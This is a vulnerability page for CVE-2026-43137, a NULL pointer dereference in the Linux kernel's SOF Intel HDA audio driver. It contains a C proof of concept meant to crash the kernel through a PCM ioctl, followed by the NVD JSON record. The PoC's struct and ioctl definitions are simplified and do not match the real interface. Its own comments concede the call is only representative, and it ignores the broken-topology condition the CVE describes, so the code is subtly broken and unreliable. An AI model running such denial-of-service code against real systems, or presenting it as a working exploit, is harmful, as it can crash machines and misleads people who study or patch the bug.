CVE-2026-43137

/* * PoC for CVE-2026-43137: Kernel Null Pointer Dereference in SOF Intel HDA * This PoC demonstrates the trigger condition for the NULL pointer dereference. * It attempts to setup a stream that relies on a missing widget. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Simplified definitons for the sake of the PoC #define SND_PCM_IOCTL_HW_REFINE 0x40104110 #define SND_PCM_IOCTL_HW_PARAMS 0x41104111 struct snd_pcm_hw_params { unsigned int flags; unsigned int masks[8]; unsigned int mvals[4]; unsigned int rmask; unsigned int cmask; unsigned int info; unsigned int msbits; unsigned int rate_num; unsigned int rate_den; unsigned int periods; unsigned int buffer_size; }; int main() { int fd; struct snd_pcm_hw_params params; // Attempt to open the PCM device (e.g., default or hw:0,0) // The specific device depends on the hardware using the Intel HDA driver fd = open("/dev/snd/pcmC0D0p", O_RDWR | O_NONBLOCK); if (fd < 0) { perror("Failed to open audio device"); return -1; } printf("Device opened. Attempting to trigger vulnerability via topology mismatch...\n"); // Zero out params to simulate invalid/broken topology configuration // In a real exploit scenario, specific parameters would be set to trigger // the code path where the widget is NULL. memset(&params, 0, sizeof(params)); // Trigger the ioctl that calls into the faulty hda_dai_get_ops function // This is a representative call; the actual trigger may require specific // stream setups or topology loading. if (ioctl(fd, SND_PCM_IOCTL_HW_PARAMS, &params) < 0) { perror("Ioctl failed (expected if crash did not occur immediately)"); } close(fd); printf("PoC execution finished.\n"); return 0; }

{"cve": {"id": "CVE-2026-43137", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:31.007", "lastModified": "2026-05-12T21:15:52.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: SOF: Intel: hda: Fix NULL pointer dereference\n\nIf there's a mismatch between the DAI links in the machine driver and\nthe topology, it is possible that the playback/capture widget is not\nset, especially in the case of loopback capture for echo reference\nwhere we use the dummy DAI link. Return the error when the widget is not\nset to avoid a null pointer dereference like below when the topology is\nbroken.\n\nRIP: 0010:hda_dai_get_ops.isra.0+0x14/0xa0 [snd_sof_intel_hda_common]"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.12.75", "matchCriteriaId": "CAA073DB-607E-4D74-9B88-0379E8C760F6"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/10411f1f2c76be67103b1f95822ff629aa25e2aa", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/16c589567a956d46a7c1363af3f64de3d420af20", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/42068f7dd42b559c4eeae645e1455ff36518866a", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/7750d78b4014902bc0ac03d4bb30faa076a913ab", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}